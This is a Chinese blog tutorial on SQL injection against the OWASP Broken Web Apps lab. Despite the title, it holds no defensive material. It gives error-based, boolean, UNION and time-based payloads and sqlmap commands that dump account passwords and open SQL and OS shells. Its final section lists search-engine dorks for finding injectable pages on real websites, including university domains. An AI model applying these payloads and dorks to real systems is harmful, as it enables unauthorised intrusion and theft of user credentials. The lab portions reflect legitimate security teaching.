SQL注入攻击及防御

SQL注入攻击及防御

1.项目实验环境

目标靶机OWASP_Broken_Web_App_VM_1.2:

https://sourceforge.net/projects/owaspbwa/files/latest/download

测试渗透机: Kali-Linux-VM-amd64

https://cdimage.kali.org/kali-2023.1/kali-linux-2023.1-vmware-amd64.7z

2.SQL注入危害

1、拖库导致用户数据泄漏;
2、危害web等应用的安全;
3、失去操作系统的控制权;
4、用户信息被非法买卖;
5、危害企业及国家的安全!

3.SQL基础回顾

3.1 登录OWASP

项目环境: OwASP
1 : dvwa.users
2 : wordpress.wp_users
3 : mysql.user

image-20230405172650044

3.2 查看数据库

# 查看所有数据库
show databases();
# 查看当前数据库
select database();
# 进入dvwa数据库
use dvwa;

3.3 查看库中的表

# 查看库中所有表
show tables;

3.4 查看表的结构

# 查看表的结构
desc users;
# 或者
describe users;
# 或者
show create table users\G # \G垂直显示

3.5 查看表的记录

# 查看表的记录
select * from users;
# 同
select * from users\G;

3.6 information_schema

information_schema信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

# 查看所有的表的具体信息
select * from information_schema.tables\G
# 查看所有数据库,DISTINCT(去重)
select DISTINCT table_schema from information_schema.Tables;
# 等价于
show databases;
# 查看所有数据库跟表
select table_schema,table_name from information_schema.tables;
# 把数据库进行分组,组里面有相应的表
select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G
# 查看相应数据库里所有表
select table_name from information_schema.tables where table_schema='dvwa';
# 等价于
show tables;

==查询数据库库名、表名、字段名information_schema.columns=

# 查看所有的字段的具体信息
select * from information_schema.columns\G
# 查看所有字段名
select column_name from information_schema.columns;
# 查看指定数据库指定表的所有字段
select column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users';
# 查看用户权限表
select column_name from information_schema.columns where table_name = 'user_privileges';
# 数据库特权的信息
select column_name from information_schema.columns where table_name = 'schema_privileges';

4.SQL注入流程

1.判断是否有SQL注入漏洞;
2.判断操作系统、数据库和web应用的类型;
3.获取数据库信息,包括管理员信息及拖库;
4.加密信息破解,sqlmap可自动破解;
5.提升权限,获得sql-shell、os-shell、登录应用后台;

5.手动注入实战

5.1基于错误的注入

错误注入的思路是通过构造特殊的sq1语句,根据得到的错误信息,确认sq1注入点;
通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。
通过输入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

image-20230405221012849

image-20230405221141054

当前面sql所使用的库为dvwa

搜索框正常输入 1

image-20230405221436723

sql语法解析:
select first_name,last_name from dvwa.users;
select first_name,last_name from dvwa.users where user_id = '1';

image-20230405221814855

# 页面报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = ''';

5.2 基于布尔的注入

布尔逻辑注入的思路是闭合SQL语句、构造or和and逻辑语句、注释多余的代码;

image-20230405222712853

# 原始语句
select first_name,last_name from dvwa.users where user_id = '';
# sql注入语句解析:' or 1=1 -- '
select first_name,last_name from dvwa.users where user_id = ' ' or 1=1 -- ' ';
# 说明:
# 第一个' 用于闭合前面的条件
# or 1-1为真的条件
# --空格 将注释后面的所有语句

5.3 基于UNION注入

UNION语句用于联合前面的SELECT查询语句,合并查询更多信息;
一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

-- 猜测数据列数
'union select 1 -- '
'union select 1,2 -- '
'union select 1,2,3 -- '
'union select 1,2,3,4 -- '
-- SQL注入语句解析:
select first_name,last_name from dvwa.users where user_id ='' union select 1 -- ''
select first_name,last_name from dvwa.users where user_id ='' union select 1,2 -- ''
-- 获得当前数据库及用户信息
'union select version(), database() -- '
'union select user(), database( ) -- '
select first_name,last_name from dvwa.users where user_id =''union select version(),database() -- ''
select first_name,last_name from dvwa.users where user_id =''union select user(),database() -- ''
-- 说明
version() # 获得数据库版本信息
database() # 获得当前数据库名
user() # 获得当前用户名
-- SQL注入语法解析:
select * from information_schema.TABLES\G
-- 查询所有库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,1 from information_schema.tables -- ''
-- 查看所库中所有表名
select first_name,last_name from dvwa.users where user_id = ''union select table_name,1 from information_schema.tables -- ''
-- 同时查询表名及对应库名
select first_name,last_name from dvwa.users where user_id = ''union select table_schema,table_name from information_schema.tables -- ''

**image-20230405225226679 **

image-20230405225327903 image-20230405225342947

同样可以用information_schema.columns

5.4 基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

image-20230405230828351 没反应

image-20230405230836420

image-20230405231108780

# sql注入语法解析:
select first_name,last_name from dvwa.users where user_id = '1' and sleep(5) -- '

6.sqlmap自动化注入

SQL注入比较好用的工具,首推开源工具SQLmap. SQLmap是 一个国内外著名的安全稳定性测试工具,可以用来进行自动
化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的安全稳
定性测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系
统命令。

SQLmap支持MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase和SAP MaxDB等数据库的各种安全漏洞检测。

image-20230406195602140

6.1 GET方法注入,POST方法注入

get方式就是页面上能看的到的参数,利用页面能看得到得参数进行注入,比如www.abc.com/index.php?id=1 中id=1 就是能用get方式

POST方式,在浏览器中已经无法查看注入点位置。

image-20230406195647546image-20230406195832635

url = http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details

sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' -p 'usernam'
-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。

image-20230406203837662 image-20230406204614889

# 列出所有数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --dbs
--dbs 枚举DBMS所有的数据库

image-20230406204438225

image-20230406204733847

# 列出所有用户
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --users
--users 枚举目标DBMS所有的用户
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库

image-20230406205044743 image-20230406205140024

image-20230406215135963

image-20230406215202694

-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)例:-u "www.abc.com/index.php?id=1"
-p:指定参数进行扫描,不是扫描所有参数,这样可以避免浪费时间到非注入点参数上,从而提高扫描效率。
--dbs 枚举DBMS所有的数据库
--dbms= 指定具体DBMS
--users 枚举目标DBMS所有的用户
--current-user 查询目标DBMS当前用户
--current-db 查询目标DBMS当前数据库
-D db 指定进行枚举的数据库名称
-T table 指定进行枚举的数据库表名称
-C column 指定进行枚举的数据库列名称
--tables 枚举DBMS数据库中所有的表
--dump 存储DBMS数据库的表中的条目
--dump-all 存储DBMS所有数据库表中的条目
--exclude-sysdbs 枚举表时排除系统数据库
--columns 枚举DBMS数据库表中所有的列
--batch 测试过程中, 执行所有默认配置
# 实例步骤
# 1.获得当前数据库
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch --current-db
# 2.获得数据库表
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp --tables
# 3.获得表的字段
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts --columns
# 4.获得表中的数据
sqlmap -u 'http://192.168.1.132/mutillidae/index.php?page=user-info.php&username=suibainda&password=&user-info-php-submit-button=View+Account+Details' --batch -D nowasp -T accounts -C'username,password' --dump

有些网址注入点在里面就需要带cookie才能访问的注入页面,--cookie=" "

image-20230406230647084 image-20230406234142603

# cookie = "
acgroupswithpersist: nada;
acopendivids: swingset,jotto,phpbb2,redmine;
PHPSESSID: 706kv7odf502nk5qdrrid3b856;
security: low
"
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id'

6.3 提权操作

# --sql-shell 与数据库交互
# --os-cmd= 执行操作系统命令
# --os-shell 交互式的系统shell
sqlmap -u "http://192.168.1.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="acgroupswithpersist=nada;acopendivids=swingset,jotto,phpbb2,redmine; \
PHPSESSID=706kv7odf502nk5qdrrid3b856;security=low" --batch -p 'id' --sql-shell

image-20230406234624470

sql-shell> select * from users;

image-20230406234717603

6. 综合案例

1. 通过Google搜索可能存在注入的页面
inurl:.php?id=
inurl:.jsp?id=
inurl:.asp?id=
inurl:/admin/login.php
inurl:.php?id= intitle:美女
2. 通过百度搜索可能存在注入的页面
inurl:news.asp?id= site:edu.cn
inurl:news.php?id= site :edu.cn
inurl:news.aspx?id= site:edu.cn
posted @   0x1e61  阅读(134)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示